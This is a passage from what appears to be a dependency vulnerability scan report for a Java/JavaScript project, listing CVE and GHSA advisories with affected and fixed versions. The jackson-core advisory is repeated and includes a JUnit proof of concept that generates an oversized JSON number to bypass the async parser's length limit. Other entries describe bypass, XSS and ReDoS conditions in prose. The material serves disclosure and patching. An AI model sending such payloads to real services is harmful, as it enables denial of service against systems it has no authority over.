void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
CVE-2025-66614 - org.apache.tomcat.embed:tomcat-embed-core
Severity: MEDIUM
Installed Version: 10.1.44
Fixed Version: 11.0.15, 10.1.50, 9.0.113
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: tomcat: Client certificate verification bypass due to virtual host mapping
Description:
Improper Input Validation vulnerability.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.14, from 10.1.0-M1 through 10.1.49, from 9.0.0-M1 through 9.0.112.
The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.0 through 8.5.100. Older EOL versions are not affected.
Tomcat did not validate that the host name provided via the SNI
extension was the same as the host name provided in the HTTP host header
field. If Tomcat was configured with more than one virtual host and the
TLS configuration for one of those hosts did not require client
certificate authentication but another one did, it was possible for a
client to bypass the client certificate authentication by sending
different host names in the SNI extension and the HTTP host header field.
The vulnerability only applies if client certificate authentication is
only enforced at the Connector. It does not apply if client certificate
authentication is enforced at the web application.
Users are recommended to upgrade to version 11.0.15 or later, 10.1.50 or later or 9.0.113 or later, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-66614
CVE-2026-25854 - org.apache.tomcat.embed:tomcat-embed-core
Severity: MEDIUM
Installed Version: 10.1.44
Fixed Version: 9.0.116, 10.1.53, 11.0.20
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: Apache Tomcat: Apache Tomcat: Open Redirect vulnerability via LoadBalancerDrainingValve
Description:
Occasional URL redirection to untrusted Site ('Open Redirect') vulnerability in Apache Tomcat via the LoadBalancerDrainingValve.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M1 through 10.1.52, from 9.0.0.M23 through 9.0.115, from 8.5.30 through 8.5.100.
Other, unsupported versions may also be affected
Users are recommended to upgrade to version 11.0.20, 10.1.53 or 9.0.116, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-25854
CVE-2026-22737 - org.springframework:spring-webmvc
Severity: MEDIUM
Installed Version: 6.2.10
Fixed Version: 7.0.6, 6.2.17
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: Spring Framework: Spring Framework: Information disclosure via Java scripting engine enabled template views
Description:
Use of Java scripting engine enabled (e.g. JRuby, Jython) template views in Spring MVC and Spring WebFlux applications can result in disclosure of content from files outside the configured locations for script template views. This issue affects Spring Framework: from 7.0.0 through 7.0.5, from 6.2.0 through 6.2.16, from 6.1.0 through 6.1.25, from 5.3.0 through 5.3.46.
Reference: https://avd.aquasec.com/nvd/cve-2026-22737
CVE-2026-22745 - org.springframework:spring-webmvc
Severity: MEDIUM
Installed Version: 6.2.10
Fixed Version: 7.0.7, 6.2.18
Target: spring-boot-starter/starter-qa/integration-test-request-scope/pom.xml
Title: spring-webflux: Spring MVC and Spring WebFlux: Denial of Service via slow static resource resolution on Windows
Description:
Spring MVC and WebFlux applications are vulnerable to Denial of Service attacks when resolving static resources.
More precisely, an application can be vulnerable when all the following are true:
* the application is using Spring MVC or Spring WebFlux
* the application is serving static resources from the file system
* the application is running on a Windows platform
When all the conditions above are met, the attacker can send malicious requests that are slow to resolve and that can keep HTTP connections in use. This can cause a Denial of Service on the application.
Reference: https://avd.aquasec.com/nvd/cve-2026-22745
CVE-2025-11226 - ch.qos.logback:logback-core
Severity: MEDIUM
Installed Version: 1.5.18
Fixed Version: 1.5.19, 1.3.16
Target: spring-boot-starter/starter-security/pom.xml
Title: QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing
Description:
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.
A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.
Reference: https://avd.aquasec.com/nvd/cve-2025-11226
CVE-2025-53864 - com.nimbusds:nimbus-jose-jwt
Severity: MEDIUM
Installed Version: 9.37.3
Fixed Version: 10.0.2, 9.37.4
Target: spring-boot-starter/starter-security/pom.xml
Title: Nimbus JOSE + JWT is vulnerable to DoS attacks when processing deeply nested JSON
Description:
Connect2id Nimbus JOSE + JWT 10.0.x before 10.0.2 and 9.37.x before 9.37.4 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson.
Reference: https://avd.aquasec.com/nvd/cve-2025-53864
CVE-2026-22751 - org.springframework.security:spring-security-core
Severity: MEDIUM
Installed Version: 6.5.3
Fixed Version: 6.5.10, 7.0.5
Target: spring-boot-starter/starter-security/pom.xml
Title: Spring Security: JdbcOneTimeTokenService: Spring Security: Authentication bypass due to race condition in One-Time Token login
Description:
Vulnerability in Spring Spring Security. Applications that explicitly configure One-Time Token login with JdbcOneTimeTokenService are vulnerable to a Time-of-check Time-of-use (TOCTOU) race condition. This issue affects Spring Security: from 6.4.0 through 6.4.15, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.
Reference: https://avd.aquasec.com/nvd/cve-2026-22751
CVE-2026-22748 - org.springframework.security:spring-security-oauth2-jose
Severity: MEDIUM
Installed Version: 6.5.3
Fixed Version: 6.5.10, 7.0.5
Target: spring-boot-starter/starter-security/pom.xml
Title: Spring Security: Spring Security: Integrity impact due to improper JSON Web Token (JWT) validation
Description:
Vulnerability in Spring Spring Security. When an application configures JWT decoding with NimbusJwtDecoder or NimbusReactiveJwtDecoder, it must configure an OAuth2TokenValidator<Jwt> separately, for example by calling setJwtValidator.This issue affects Spring Security: from 6.3.0 through 6.3.14, from 6.4.0 through 6.4.14, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.
Reference: https://avd.aquasec.com/nvd/cve-2026-22748
CVE-2025-11226 - ch.qos.logback:logback-core
Severity: MEDIUM
Installed Version: 1.5.18
Fixed Version: 1.5.19, 1.3.16
Target: spring-boot-starter/starter-test/pom.xml
Title: QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing
Description:
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.
A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.
Reference: https://avd.aquasec.com/nvd/cve-2025-11226
CVE-2025-11226 - ch.qos.logback:logback-core
Severity: MEDIUM
Installed Version: 1.5.18
Fixed Version: 1.5.19, 1.3.16
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing
Description:
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.
A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.
Reference: https://avd.aquasec.com/nvd/cve-2025-11226
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.19.2
Fixed Version: 2.21.1, 2.18.6
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
CVE-2025-66614 - org.apache.tomcat.embed:tomcat-embed-core
Severity: MEDIUM
Installed Version: 10.1.44
Fixed Version: 11.0.15, 10.1.50, 9.0.113
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: tomcat: Client certificate verification bypass due to virtual host mapping
Description:
Improper Input Validation vulnerability.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.14, from 10.1.0-M1 through 10.1.49, from 9.0.0-M1 through 9.0.112.
The following versions were EOL at the time the CVE was created but are
known to be affected: 8.5.0 through 8.5.100. Older EOL versions are not affected.
Tomcat did not validate that the host name provided via the SNI
extension was the same as the host name provided in the HTTP host header
field. If Tomcat was configured with more than one virtual host and the
TLS configuration for one of those hosts did not require client
certificate authentication but another one did, it was possible for a
client to bypass the client certificate authentication by sending
different host names in the SNI extension and the HTTP host header field.
The vulnerability only applies if client certificate authentication is
only enforced at the Connector. It does not apply if client certificate
authentication is enforced at the web application.
Users are recommended to upgrade to version 11.0.15 or later, 10.1.50 or later or 9.0.113 or later, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-66614
CVE-2026-25854 - org.apache.tomcat.embed:tomcat-embed-core
Severity: MEDIUM
Installed Version: 10.1.44
Fixed Version: 9.0.116, 10.1.53, 11.0.20
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: Apache Tomcat: Apache Tomcat: Open Redirect vulnerability via LoadBalancerDrainingValve
Description:
Occasional URL redirection to untrusted Site ('Open Redirect') vulnerability in Apache Tomcat via the LoadBalancerDrainingValve.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M1 through 10.1.52, from 9.0.0.M23 through 9.0.115, from 8.5.30 through 8.5.100.
Other, unsupported versions may also be affected
Users are recommended to upgrade to version 11.0.20, 10.1.53 or 9.0.116, which fix the issue.
Reference: https://avd.aquasec.com/nvd/cve-2026-25854
CVE-2026-22737 - org.springframework:spring-webmvc
Severity: MEDIUM
Installed Version: 6.2.10
Fixed Version: 7.0.6, 6.2.17
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: Spring Framework: Spring Framework: Information disclosure via Java scripting engine enabled template views
Description:
Use of Java scripting engine enabled (e.g. JRuby, Jython) template views in Spring MVC and Spring WebFlux applications can result in disclosure of content from files outside the configured locations for script template views. This issue affects Spring Framework: from 7.0.0 through 7.0.5, from 6.2.0 through 6.2.16, from 6.1.0 through 6.1.25, from 5.3.0 through 5.3.46.
Reference: https://avd.aquasec.com/nvd/cve-2026-22737
CVE-2026-22745 - org.springframework:spring-webmvc
Severity: MEDIUM
Installed Version: 6.2.10
Fixed Version: 7.0.7, 6.2.18
Target: spring-boot-starter/starter-webapp-core/pom.xml
Title: spring-webflux: Spring MVC and Spring WebFlux: Denial of Service via slow static resource resolution on Windows
Description:
Spring MVC and WebFlux applications are vulnerable to Denial of Service attacks when resolving static resources.
More precisely, an application can be vulnerable when all the following are true:
* the application is using Spring MVC or Spring WebFlux
* the application is serving static resources from the file system
* the application is running on a Windows platform
When all the conditions above are met, the attacker can send malicious requests that are slow to resolve and that can keep HTTP connections in use. This can cause a Denial of Service on the application.
Reference: https://avd.aquasec.com/nvd/cve-2026-22745
CVE-2025-11226 - ch.qos.logback:logback-core
Severity: MEDIUM
Installed Version: 1.5.18
Fixed Version: 1.5.19, 1.3.16
Target: spring-boot-starter/starter/pom.xml
Title: QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing
Description:
ACE vulnerability in conditional configuration file processing by QOS.CH logback-core up to and including version 1.5.18 in Java applications, allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution.
A successful attack requires the presence of Janino library and Spring Framework to be present on the user's class path. In addition, the attacker must have write access to a
configuration file. Alternatively, the attacker could inject a malicious
environment variable pointing to a malicious configuration file. In both
cases, the attack requires existing privilege.
Reference: https://avd.aquasec.com/nvd/cve-2025-11226
CVE-2025-48924 - org.apache.commons:commons-lang3
Severity: MEDIUM
Installed Version: 3.17.0
Fixed Version: 3.18.0
Target: spring-boot-starter/starter/pom.xml
Title: Uncontrolled Recursion vulnerability in Apache Commons Lang. This iss ...
Description:
Uncontrolled Recursion vulnerability in Apache Commons Lang.
This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0.
The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a
StackOverflowError could cause an application to stop.
Users are recommended to upgrade to version 3.18.0, which fixes the issue.
Reference: https://avd.aquasec.com/nvd/cve-2025-48924
GHSA-72hv-8253-57qq - com.fasterxml.jackson.core:jackson-core
Severity: MEDIUM
Installed Version: 2.15.2
Fixed Version: 2.21.1, 2.18.6
Target: webapps/assembly-jakarta/pom.xml
Title: jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Description:
### Summary
The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
### Details
The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.
- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.
- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.
- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.
### PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
```java
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
```
### Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`.
2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.
### Suggested Remediation
The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.
**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Reference: https://github.com/advisories/GHSA-72hv-8253-57qq
CVE-2022-25844 - angular
Severity: MEDIUM
Installed Version: 1.8.2
Fixed Version:
Target: webapps/frontend/package-lock.json
Title: angular: Regular Expression Denial of Service (ReDoS) in angular
Description:
The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER_FORMATS.PATTERNS[1].posPre with a very high value. **Note:** 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.
Reference: https://avd.aquasec.com/nvd/cve-2022-25844
CVE-2022-25869 - angular
Severity: MEDIUM
Installed Version: 1.8.2
Fixed Version:
Target: webapps/frontend/package-lock.json
Title: angularjs: Angular Cross-site Scripting (XSS)
Description:
All versions of the package angular; all versions of the package angularjs.core; all versions of the package angularjs are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of <textarea> elements.
Reference: https://avd.aquasec.com/nvd/cve-2022-25869
CVE-2023-26116 - angular
Severity: MEDIUM
Installed Version: 1.8.2
Fixed Version:
Target: webapps/frontend/package-lock.json
Title: angularjs: Regular Expression Denial of Service via angular.copy()
Description:
Versions of the package angular from 1.2.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.
Reference: https://avd.aquasec.com/nvd/cve-2023-26116
CVE-2023-26117 - angular
Severity: MEDIUM
Installed Version: 1.8.2
Fixed Version:
Target: webapps/frontend/package-lock.json
Title: angularjs: Regular expression denial of service via the $resource service
Description:
Versions of the package angular from 1.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the $resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.
Reference: https://avd.aquasec.com/nvd/cve-2023-26117
CVE-2023-26118 - angular
Severity: MEDIUM
Installed Version: 1.8.2
Fixed Version:
Target: webapps/frontend/package-lock.json
Title: angularjs: Regular Expression Denial of Service via the <input type="url"> element
Description:
Versions of the package angular from 1.4.9 are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.
Reference: https://avd.aquasec.com/nvd/cve-2023-26118
CVE-2025-2336 - angular-sanitize
Severity: MEDIUM
Installed Version: 1.8.2
Fixed Version:
Target: webapps/frontend/package-lock.json
Title: Improper sanitization of the value of the 'href' and 'xlink:href' attr ...
Description:
Improper sanitization of the value of the 'href' and 'xlink:href' attributes in '<image>' SVG elements in AngularJS's 'ngSanitize' module allows attackers to bypass common image source restrictions. This can lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing and also negatively affect the application's performance and behavior by using too large or slow-to-load images.
This issue affects AngularJS versions greater than or equal to 1.3.1.
Note:
The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here https://docs.angularjs.org/misc/version-support-status .
Reference: https://avd.aquasec.com/nvd/cve-2025-2336
CVE-2024-6485 - bootstrap
Severity: MEDIUM
Installed Version: 3.4.1
Fixed Version:
Target: webapps/frontend/package-lock.json
Title: A security vulnerability has been discovered in bootstrap that could e ...
Description:
A security vulnerability has been discovered in bootstrap that could enable Cross-Site Scripting (XSS) attacks. The vulnerability is associated with the data-loading-text attribute within the button plugin. This vulnerability can be exploited by injecting malicious JavaScript code into the attribute, which would then be executed when the button's loading state is triggered.
Reference: https://avd.aquasec.com/nvd/cve-2024-6485
CVE-2025-1647 - bootstrap
Severity: MEDIUM
Installed Version: 3.4.1
Fixed Version:
Target: webapps/frontend/package-lock.json
Title: Improper Neutralization of Input During Web Page Generation (XSS or 'C ...
Description:
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Bootstrap allows Cross-Site Scripting (XSS).This issue affects Bootstrap: from 3.4.1 before 4.0.0.
Reference: https://avd.aquasec.com/nvd/cve-2025-1647
CVE-2025-15599 - dompurify
Severity: MEDIUM
Installed Version: 3.2.4
Fixed Version: 3.2.7
Target: webapps/frontend/package-lock.json
Title: DOMPurify: DOMPurify: Cross-site scripting
Description:
DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like </textarea> in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.
Reference: https://avd.aquasec.com/nvd/cve-2025-15599
CVE-2026-0540 - dompurify
Severity: MEDIUM
Installed Version: 3.2.4
